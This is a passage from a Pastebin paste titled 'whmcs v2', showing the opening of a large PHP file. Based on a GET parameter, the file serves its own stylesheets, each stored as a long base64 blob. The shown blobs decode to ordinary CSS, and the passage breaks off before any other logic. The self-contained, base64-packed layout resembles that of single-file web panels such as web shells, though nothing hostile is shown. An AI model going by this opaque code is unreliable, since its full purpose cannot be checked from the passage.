Advertisement
CaptSalkus48

whmcs v2

Dec 31st, 2015
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 174.67 KB | None | 0 0
  1. <?php
  2. $currentFile = $_SERVER["SCRIPT_NAME"];
  3. $parts = Explode('/', $currentFile);
  4. $currentFile = $parts[count($parts) -1];
  5. if ($_GET['css']==1){
  6. header("Content-type: text/css", true);
  7. echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCVJFU0VULkNTUw0KCXZlcnNpb246IDEuMA0KCXVwZGF0ZWQ6IDIwMDktMDItMDIsIDExOjQ3IEdNVCsxDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSRVNFVA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KKiB7bWFyZ2luOjA7IHBhZGRpbmc6MDt9DQpodG1sLCBib2R5LCBkaXYsIHNwYW4sIGFwcGxldCwgb2JqZWN0LCBpZnJhbWUsIGgxLCBoMiwgaDMsIGg0LCBoNSwgaDYsIHAsIGJsb2NrcXVvdGUsIHByZSwgYSwgYWJiciwgYWNyb255bSwgYWRkcmVzcywgY2l0ZSwgY29kZSwgZGVsLCBkZm4sIGVtLCBpbWcsIGlucywga2JkLCBxLCBzYW1wLCBzdHJvbmcsIHN1Yiwgc3VwLCB0dCwgdmFyLCBkbCwgZHQsIGRkLCBvbCwgdWwsIGxpLCBmaWVsZHNldCwgZm9ybSwgbGFiZWwsIGxlZ2VuZCwgdGFibGUsIGNhcHRpb24sIHRib2R5LCB0Zm9vdCwgdGhlYWQsIHRyLCB0aCwgdGQge2JvcmRlcjowOyBvdXRsaW5lOjA7IHZlcnRpY2FsLWFsaWduOmJhc2VsaW5lOyBiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O30NCi5oaWRkZW4ge3Bvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi0xMDAwZW07IHRvcDotMTAwMGVtOyB3aWR0aDoxcHg7IGhlaWdodDoxcHg7IG92ZXJmbG93OmhpZGRlbjt9DQoubm9zY3JlZW4ge2Rpc3BsYXk6bm9uZTt9DQouYm94IHttaW4taGVpZ2h0OjFweDt9DQouYm94OmFmdGVyIHtkaXNwbGF5OmJsb2NrOyB2aXNpYmlsaXR5OmhpZGRlbjsgY2xlYXI6Ym90aDsgbGluZS1oZWlnaHQ6MDsgZm9udC1zaXplOjA7IGNvbnRlbnQ6Ii4iO30NCi5maXgge2Zsb2F0Om5vbmU7IGNsZWFyOmJvdGg7IHdpZHRoOjA7IGhlaWdodDowOyBtYXJnaW46MDsgcGFkZGluZzowOyBib3JkZXI6MDsgbGluZS1oZWlnaHQ6MDsgZm9udC1zaXplOjA7fQ0KLmYtbGVmdCB7ZmxvYXQ6bGVmdCAhaW1wb3J0YW50O30NCi5mLXJpZ2h0IHtmbG9hdDpyaWdodCAhaW1wb3J0YW50O30NCi50LWxlZnQge3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30NCi50LWNlbnRlciB7dGV4dC1hbGlnbjpjZW50ZXIgIWltcG9ydGFudDt9DQoudC1yaWdodCB7dGV4dC1hbGlnbjpyaWdodCAhaW1wb3J0YW50O30NCi50LWp1c3RpZnkge3RleHQtYWxpZ246anVzdGlmeSAhaW1wb3J0YW50O30NCi52YS10b3Age3ZlcnRpY2FsLWFsaWduOnRvcCAhaW1wb3J0YW50O30NCi52YS1taWRkbGUge3ZlcnRpY2FsLWFsaWduOm1pZGRsZSAhaW1wb3J0YW50O30NCi52YS1ib3R0b20ge3ZlcnRpY2FsLWFsaWduOmJvdHRvbSAhaW1wb3J0YW50O30NCi5ub20ge21hcmdpbjowICFpbXBvcnRhbnQ7fQ0KLm5vbXQge21hcmdpbi10b3A6MCAhaW1wb3J0YW50O30NCi5ub21iIHttYXJnaW4tYm90dG9tOjAgIWltcG9ydGFudDt9')));
  8. exit;
  9. }
  10. if ($_GET['css']==2){
  11. header("Content-type: text/css", true);
  12. echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCVNUWUxFLkNTUw0KCXZlcnNpb246IDEuNg0KCXVwZGF0ZWQ6IDIwMDktMDMtMDYsIDEzOjAwIEdNVCsxDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpIVE1MIC0gc3R5bGVzDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQpib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiNlYWVhZWE7IGNvbG9yOiMzMDMwMzA7fQ0KYSB7Y29sb3I6IzAwODVjYzt9DQphOmhvdmVyLCBhOmFjdGl2ZSwgYTpmb2N1cyB7Y29sb3I6I2RmMDAwMDt9DQojY29udGVudCBoMiB7Y29sb3I6IzAwODVjYzt9DQojY29udGVudCB0YWJsZSB7Ym9yZGVyOjJweCBzb2xpZCAjY2ZjZmNmO30NCiNjb250ZW50IHRhYmxlIHRoIHtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMwMDc0QjM7IGJhY2tncm91bmQtY29sb3I6IzAwODVjYzsgY29sb3I6I2ZmZjt9DQojY29udGVudCB0YWJsZSB0ZCB7Ym9yZGVyOjFweCBzb2xpZCAjY2ZjZmNmO30NCiNjb250ZW50IHRhYmxlIHRyLmJnIHRkIHtiYWNrZ3JvdW5kLWNvbG9yOiNlOGY2ZmY7fQ0KI2NvbnRlbnQgdGFibGUgdGQuYmcyICB7YmFja2dyb3VuZC1jb2xvcjojZThmNmZmO30NCiNjb250ZW50IGRsIGR0IHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IGZpZWxkc2V0IHtib3JkZXI6MXB4IHNvbGlkICNjY2M7fQ0KI2NvbnRlbnQgbGVnZW5kIHtiYWNrZ3JvdW5kOiNGRkY7IGNvbG9yOiMwMDg1Y2M7fQ0KI2NvbnRlbnQgYWNyb255bSwgI2NvbnRlbnQgYWJiciwgI2NvbnRlbnQgLmhlbHAge2JvcmRlci1ib3R0b206MXB4IGRvdHRlZCAjY2ZjZmNmO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkhUTUwgLSB3aXRob3V0IHN0eWxlcw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KdGFibGUubm9zdHlsZSB0aCwgZGwubm9zdHlsZSBkdCB7Y29sb3I6IzMwMzAzMCAhaW1wb3J0YW50O30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkxBWU9VVA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KI3RyYXkge2JhY2tncm91bmQtY29sb3I6IzMwMzAzMDsgY29sb3I6I2NmY2ZjZjt9DQojdHJheSBhLCAjdHJheSBzdHJvbmcge2NvbG9yOiNmZmY7fQ0KI3RyYXkgYTpob3ZlciwgI3RyYXkgYTphY3RpdmUsICN0cmF5IGE6Zm9jdXMge2NvbG9yOiNiNGUzZmY7fQ0KI21lbnUge2JhY2tncm91bmQtY29sb3I6IzAwODVjYzt9DQojbWVudSB1bCBsaSBhIHtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7IGNvbG9yOiMzMDMwMzA7fQ0KI21lbnUgdWwgbGkgYSBzcGFuIHtiYWNrZ3JvdW5kLWNvbG9yOiNGRkY7fQ0KI21lbnUgdWwgbGkgYTpob3ZlciwgI21lbnUgdWwgbGkgYTphY3RpdmUsICNtZW51IHVsIGxpIGE6Zm9jdXMsICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2JhY2tncm91bmQtY29sb3I6I0ZGRjsgY29sb3I6I2RmMDAwMDt9DQojbWVudSB1bCBsaSBhOmhvdmVyIHNwYW4sICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEgc3BhbiB7YmFja2dyb3VuZC1jb2xvcjojRkZGO30NCiNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2NvbG9yOiMwMDg1Y2M7fQ0KI21lbnUgdWwuZi1yaWdodCBhIHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IHtib3JkZXI6MXB4IHNvbGlkICNhZmFmYWY7IGJhY2tncm91bmQ6I2ZmZjt9DQoNCiNmb290ZXIge2NvbG9yOiM3MDcwNzA7fQ0KI2Zvb3RlciBhIHtjb2xvcjojNzA3MDcwO30NCiNmb290ZXIgYTpob3ZlciwgI2Zvb3RlciBhOmFjdGl2ZSwgI2Zvb3RlciBhOmZvY3VzIHtjb2xvcjojMzAzMDMwO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCk9USEVSUw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KI2FzaWRlICNsb2dvIGltZyB7Ym9yZGVyOjFweCBzb2xpZCAjYmZiZmJmO30NCiNhc2lkZSAjc2VhcmNoIGZpZWxkc2V0IGEge2NvbG9yOiMzMDMwMzA7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQge2JvcmRlcjoxcHggc29saWQgI2JmYmZiZjt9DQojYXNpZGUgI3NlYXJjaCBmaWVsZHNldCBhOmhvdmVyLCAjYXNpZGUgI3NlYXJjaCBmaWVsZHNldCBhOmFjdGl2ZSwgI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgYTpmb2N1cyB7Y29sb3I6I2RmMDAwMDt9DQojYXNpZGUgI2J0bi1jcmVhdGUgYSB7YmFja2dyb3VuZC1jb2xvcjojZmZmOyBjb2xvcjojMzAzMDMwO30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhIHNwYW4ge2JhY2tncm91bmQtY29sb3I6I2ZmZjt9DQojYXNpZGUgdWwgbGkgYSB7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2NmY2ZjZjsgY29sb3I6IzMwMzAzMDt9DQojYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgYSB7YmFja2dyb3VuZC1jb2xvcjojZGYwMDAwOyBjb2xvcjojZmZmO30NCiNhc2lkZSB1bCBsaSBhOmhvdmVyLCAjYXNpZGUgdWwgbGkgYTphY3RpdmUsICNhc2lkZSB1bCBsaSBhOmZvY3VzIHtjb2xvcjojZGYwMDAwO30NCiNhc2lkZSB1bCB1bCBsaSBhLCAjYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgdWwgbGkgYSB7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2NmY2ZjZjsgYmFja2dyb3VuZC1jb2xvcjojZjVmNWY1OyBjb2xvcjojMzAzMDMwO30NCiNhc2lkZSB1bCBsaSB1bCBsaSBhIHtiYWNrZ3JvdW5kLWNvbG9yOiNlM2UzZTM7fQ0KI2FzaWRlIHVsIHVsIGxpIGE6aG92ZXIsICNhc2lkZSB1bCB1bCBsaSBhOmFjdGl2ZSwgI2FzaWRlIHVsIHVsIGxpIGE6Zm9jdXMsICNhc2lkZSB1bCBsaSNzdWJtZW51LWFjdGl2ZSB1bCBsaSBhOmhvdmVyLCAjYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgdWwgbGkgYTphY3RpdmUsICNhc2lkZSB1bCBsaSNzdWJtZW51LWFjdGl2ZSB1bCBsaSBhOmZvY3VzIHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IGgxIHtiYWNrZ3JvdW5kLWNvbG9yOiMzMDMwMzA7IGNvbG9yOiNmZmY7fQ0KI2NvbnRlbnQgLnRhYnMge2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNjZmNmY2Y7fQ0KI2NvbnRlbnQgLnRhYnMgYSB7Y29sb3I6IzMwMzAzMDt9DQojY29udGVudCAudGFicyBhIHNwYW4ge2NvbG9yOiMzMDMwMzA7fQ0KI2NvbnRlbnQgLnRhYnMgLnVpLXRhYnMtc2VsZWN0ZWQgYSB7Y29sb3I6I2ZmZjt9DQojY29udGVudCAudGFicyAudWktdGFicy1zZWxlY3RlZCBhIHNwYW4ge2NvbG9yOiNmZmY7fQ0KLmhpZ2gge2NvbG9yOiNkZjAwMDA7fQ0KLmhpZ2gtYmcge2JhY2tncm91bmQ6I0ZGQjt9DQoubG93IHtjb2xvcjojNzA3MDcwO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCk1FU1NBR0VTDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQoubXNnLndhcm5pbmcge2JvcmRlcjoycHggc29saWQgI0YyREQ4QzsgYmFja2dyb3VuZC1jb2xvcjojRkZGNUNDO30NCi5tc2cud2FybmluZyBhIHtjb2xvcjojZGYwMDAwO30gLm1zZy53YXJuaW5nIGE6aG92ZXIsIC5tc2cud2FybmluZyBhOmFjdGl2ZSwgLm1zZy53YXJuaW5nIGE6Zm9jdXMge2NvbG9yOiMzMDMwMzA7fQ0KLm1zZy5pbmZvIHtib3JkZXI6MnB4IHNvbGlkICNCOEUyRkI7IGJhY2tncm91bmQtY29sb3I6I0U4RjZGRjt9DQoubXNnLmRvbmUge2JvcmRlcjoycHggc29saWQgI0JCREY4RDsgYmFja2dyb3VuZC1jb2xvcjojRUFGN0Q5O30NCi5tc2cuZXJyb3Ige2JvcmRlcjoycHggc29saWQgI0ZGQUVBRTsgYmFja2dyb3VuZC1jb2xvcjojRkVFQkVCO30NCg==')));
  13. exit;
  14. } if ($_GET['css']==3){
  15. header("Content-type: text/css", true);
  16. echo (str_replace('%file%', $currentFile,base64_decode('I2NvbHMge21hcmdpbjoxNXB4OyBiYWNrZ3JvdW5kOm5vbmU7fQ0KI2FzaWRlLCAjdHJheSAuaWNvLWNvbDEge2Rpc3BsYXk6bm9uZTt9DQo=')));
  17. exit;
  18. } if ($_GET['css']==4){
  19. header("Content-type: text/css", true);
  20. echo (str_replace('%file%', $currentFile,base64_decode('I2NvbHMge3Bvc2l0aW9uOnJlbGF0aXZlOyBtYXJnaW46MTVweCAwOyBwYWRkaW5nLXJpZ2h0OjE1cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTUiKSAyMzBweCAwIHJlcGVhdC15O30NCiNhc2lkZSB7ZmxvYXQ6bGVmdDsgd2lkdGg6MjE1cHg7IG1hcmdpbi1yaWdodDowO30NCiNjb250ZW50IHttYXJnaW4tbGVmdDoyMzJweDsgb3ZlcmZsb3c6dmlzaWJsZTt9DQojdHJheSAuaWNvLWNvbDIge2Rpc3BsYXk6bm9uZTt9DQoNCmh0bWw+Ym9keSAjYXNpZGUge21hcmdpbi1yaWdodDoyMHB4O30NCmh0bWw+Ym9keSAjY29udGVudCB7bWFyZ2luLWxlZnQ6MDsgb3ZlcmZsb3c6aGlkZGVuO30=')));
  21. exit;
  22. }
  23. if ($_GET['css']==5){
  24. header("Content-type: text/css", true);
  25. echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCU1BSU4uQ1NTDQoJdmVyc2lvbjogMS43DQoJdXBkYXRlZDogMjAwOS0wMy0xNCwgMTI6NDQgR01UKzENCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkhUTUwgLSBzdHlsZXMNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCmJvZHkge2ZvbnQ6MC44ZW0vMS41ICJhcmlhbCIsIHNhbnMtc2VyaWY7fQ0KaDEsIGgyLCBoMywgaDQsIGg1LCBoNiwgYWRkcmVzcywgYmxvY2txdW90ZSwgZGwsIGZpZWxkc2V0LCBvbCwgcCwgdGFibGUsIHVsIHttYXJnaW46MTVweCAwO30NCiNjb250ZW50IGgxIHtmb250LXNpemU6MTgwJTt9DQojY29udGVudCBoMiB7Zm9udC1zaXplOjE2MCU7fQ0KI2NvbnRlbnQgaDMge2ZvbnQtc2l6ZToxNDAlO30NCiNjb250ZW50IGg0IHtmb250LXNpemU6MTIwJTt9DQojY29udGVudCBoNSwgaDYge2ZvbnQtc2l6ZToxMDAlO30NCiNjb250ZW50IHRhYmxlIHttYXJnaW46MDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCg0KDQojY29udGVudCAgdGQge3BhZGRpbmc6NXB4IDVweDt9DQojY29udGVudCB0YWJsZSB0aCB7dGV4dC1hbGlnbjpjZW50ZXI7IHZlcnRpY2FsLWFsaWduOm1pZGRsZTsgZm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCB1bCB7bWFyZ2luOjE1cHggMDsgbGlzdC1zdHlsZTpub25lO30NCiNjb250ZW50IHVsIGxpIHtwYWRkaW5nLWxlZnQ6MTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjQiKSAwIDRweCBuby1yZXBlYXQ7fQ0KI2NvbnRlbnQgdWwgdWwge21hcmdpbjowIDAgMCAxMHB4O30NCiNjb250ZW50IHVsIHVsIGxpIHtwYWRkaW5nLWxlZnQ6MTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjMiKSAwIDRweCBuby1yZXBlYXQ7fQ0KI2NvbnRlbnQgb2wge21hcmdpbjoxNXB4IDAgMTVweCAzMHB4OyBsaXN0LXN0eWxlLXR5cGU6ZGVjaW1hbDt9DQojY29udGVudCBvbCBvbCB7bWFyZ2luOjAgMCAwIDIwcHg7fQ0KI2NvbnRlbnQgb2wgb2wgbGkge2xpc3Qtc3R5bGUtdHlwZTpsb3dlci1hbHBoYTt9DQojY29udGVudCBkbCB7Y2xlYXI6Ym90aDt9DQojY29udGVudCBkbCBkdCB7Zm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCBkbCBkZCB7bWFyZ2luOjAgMCA1cHggMDt9DQojY29udGVudCBmaWVsZHNldCB7cG9zaXRpb246cmVsYXRpdmU7IG1hcmdpbjoxMHB4IDA7IHBhZGRpbmc6MTBweDt9DQojY29udGVudCBsZWdlbmQge2ZvbnQtc2l6ZToxMjAlOyBmb250LXdlaWdodDpib2xkO30NCiNjb250ZW50IGNvZGUge2ZvbnQtZmFtaWx5OiIiLG1vbm9zcGFjZTt9DQojY29udGVudCAuaGVscCB7Y3Vyc29yOmhlbHA7fQ0KDQovKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KSFRNTCAtIHdpdGhvdXQgc3R5bGVzDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQp0YWJsZS5ub3N0eWxlLCB0YWJsZS5ub3N0eWxlIHRoLCB0YWJsZS5ub3N0eWxlIHRkIHtib3JkZXI6MCAhaW1wb3J0YW50O30NCnRhYmxlLm5vc3R5bGUgdGgge2JhY2tncm91bmQ6bm9uZSAhaW1wb3J0YW50OyB0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9DQp0YWJsZS5ub3N0eWxlIHRoLCB0YWJsZS5ub3N0eWxlIHRkIHtwYWRkaW5nOjNweCA1cHggIWltcG9ydGFudDt9DQp1bC5ub3N0eWxlIHttYXJnaW46MTVweCAwIDE1cHggMjBweCAhaW1wb3J0YW50OyBsaXN0LXN0eWxlLXR5cGU6c3F1YXJlICFpbXBvcnRhbnQ7fQ0KdWwubm9zdHlsZSB1bCB7bWFyZ2luOjAgMCAwIDI1cHggIWltcG9ydGFudDsgbGlzdC1zdHlsZS10eXBlOnNxdWFyZSAhaW1wb3J0YW50O30NCnVsLm5vc3R5bGUgbGkge3BhZGRpbmc6MCAhaW1wb3J0YW50OyBiYWNrZ3JvdW5kOm5vbmUgIWltcG9ydGFudDt9DQpkbC5ub3N0eWxlIGR0IHtmb250LXdlaWdodDpib2xkICFpbXBvcnRhbnQ7fQ0KZGwubm9zdHlsZSBkZCB7bWFyZ2luOjAgIWltcG9ydGFudDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpMQVlPVVQNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCiNtYWluIHttaW4td2lkdGg6OTgwcHg7IHdpZHRoOmV4cHJlc3Npb24oZG9jdW1lbnQuYm9keS5jbGllbnRXaWR0aCA8IDk4MD8gIjk4MHB4IiA6ICJhdXRvIiApO30NCiN0cmF5IHtwYWRkaW5nOjEycHggMTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjIiKSAwIDAgcmVwZWF0LXg7IGZvbnQ6ODUlLzEuMiAidGFob21hIixzYW5zLXNlcmlmO30NCiN0cmF5IHAge21hcmdpbjowO30NCiN0cmF5IHAuZi1sZWZ0IHt3aWR0aDo1MCU7fQ0KI3RyYXkgI2xvZ291dCB7cGFkZGluZy1sZWZ0OjE4cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTIxIikgMCA1MCUgbm8tcmVwZWF0OyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7fQ0KI3RyYXkgI3N3aXRjaGVyIHttYXJnaW4tcmlnaHQ6MTVweDt9DQojdHJheSAjc3dpdGNoZXIgaW1nIHtkaXNwbGF5OmJsb2NrOyBmbG9hdDpsZWZ0OyB3aWR0aDoxNnB4OyBoZWlnaHQ6MTZweDsgYm9yZGVyOjA7fQ0KI21lbnUge3BhZGRpbmc6MTVweCAxNXB4IDEzcHggMTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTMiKSAwIDAgcmVwZWF0LXg7fQ0KI21lbnUgdWwge21hcmdpbjowOyBwYWRkaW5nOjA7IGxpc3Qtc3R5bGUtdHlwZTpub25lO30NCiNtZW51IHVsIGxpIHtkaXNwbGF5OmlubGluZTsgbWFyZ2luOjA7IHBhZGRpbmc6MDt9DQojbWVudSB1bCBsaSBhIHtmbG9hdDpsZWZ0OyBtYXJnaW4tcmlnaHQ6NXB4OyBwYWRkaW5nLWxlZnQ6NXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xMSIpIDAgMCBuby1yZXBlYXQ7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjdXJzb3I6cG9pbnRlcjt9DQojbWVudSB1bCBsaSBhIHNwYW4ge2Zsb2F0OmxlZnQ7IGRpc3BsYXk6YmxvY2s7IHBhZGRpbmc6N3B4IDE1cHggOXB4IDhweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTIiKSAxMDAlIDAgbm8tcmVwZWF0O30NCiNtZW51IHVsIGxpIGE6aG92ZXIsICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTExIikgMCAtMzVweCBuby1yZXBlYXQ7fQ0KI21lbnUgdWwgbGkgYTpob3ZlciBzcGFuLCAjbWVudSB1bCBsaSNtZW51LWFjdGl2ZSBhIHNwYW4ge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTEyIikgMTAwJSAtMzVweCBuby1yZXBlYXQ7fQ0KI21lbnUgdWwgbGkjbWVudS1hY3RpdmUgYSB7Zm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCB7cGFkZGluZzoyMHB4OyBvdmVyZmxvdzpoaWRkZW47fQ0KI2Zvb3RlciB7Y2xlYXI6Ym90aDsgcGFkZGluZzoxNXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xNCIpIDAgMCByZXBlYXQteDsgZm9udDo4NSUvMS4yICJ0YWhvbWEiLHNhbnMtc2VyaWY7fQ0KI2Zvb3RlciBwIHttYXJnaW46MDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KT1RIRVJTDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQojYXNpZGUgLnBhZGRpbmcge3BhZGRpbmctbGVmdDoxNXB4O30NCiNhc2lkZSAjbG9nbyB7bWFyZ2luOjAgMCAxNXB4IDA7fQ0KI2FzaWRlICNsb2dvIGltZyB7ZGlzcGxheTpibG9jazsgd2lkdGg6MjAwcHg7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQge3BhZGRpbmc6N3B4IDEwcHg7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgcCB7bWFyZ2luOjA7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgbGVnZW5kIHtmb250LXdlaWdodDpib2xkO30NCiNhc2lkZSAjc2VhcmNoIGZpZWxkc2V0IC5pbnB1dC10ZXh0IHt3aWR0aDoxMzBweDt9DQojYXNpZGUgI3NlYXJjaCBmaWVsZHNldCAjc2VhcmNoLW9wdGlvbnMge21hcmdpbi10b3A6MTBweDt9DQojYXNpZGUgI2J0bi1jcmVhdGUge21hcmdpbjowIDAgMTVweCAwO30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhIHtmbG9hdDpsZWZ0OyBwYWRkaW5nLWxlZnQ6MjdweDsgaGVpZ2h0OjM3cHg7IG92ZXJmbG93OmhpZGRlbjsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MiIpIDAgMCBuby1yZXBlYXQ7IHRleHQtZGVjb3JhdGlvbjpub25lOyBmb250LXdlaWdodDpib2xkOyBjdXJzb3I6cG9pbnRlcjt9DQojYXNpZGUgI2J0bi1jcmVhdGUgYSBzcGFuIHtmbG9hdDpsZWZ0OyBkaXNwbGF5OmJsb2NrOyB3aWR0aDoxNjNweDsgcGFkZGluZzo4cHggMCAxMHB4IDEwcHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTMiKSAtMnB4IDAgbm8tcmVwZWF0O30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhOmhvdmVyIHtiYWNrZ3JvdW5kLXBvc2l0aW9uOjAgLTM3cHg7fQ0KI2FzaWRlIHVsIHt3aWR0aDoyMTVweDsgbWFyZ2luOjAgMCAxNXB4IDA7IGxpc3Qtc3R5bGU6bm9uZTt9DQojYXNpZGUgdWwgbGkge2Rpc3BsYXk6aW5saW5lO30NCiNhc2lkZSB1bCBsaSBhIHtkaXNwbGF5OmJsb2NrOyB3aWR0aDoxODVweDsgcGFkZGluZzo0cHggMTVweDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KI2FzaWRlIHVsIGxpI3N1Ym1lbnUtYWN0aXZlIGEge3dpZHRoOjE5OHB4OyBib3JkZXI6MDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTUiKSAxMDAlIDUwJSBuby1yZXBlYXQ7IGZvbnQtd2VpZ2h0OmJvbGQ7IHotaW5kZXg6OTk5O30NCiNhc2lkZSB1bCB1bCB7bWFyZ2luOjA7IHBvc2l0aW9uOnN0YXRpYzt9DQojYXNpZGUgdWwgdWwgbGkgYSwgI2FzaWRlIHVsIGxpI3N1Ym1lbnUtYWN0aXZlIHVsIGxpIGEge3dpZHRoOjE3MHB4OyBwYWRkaW5nOjVweCAxNXB4IDVweCAzMHB4O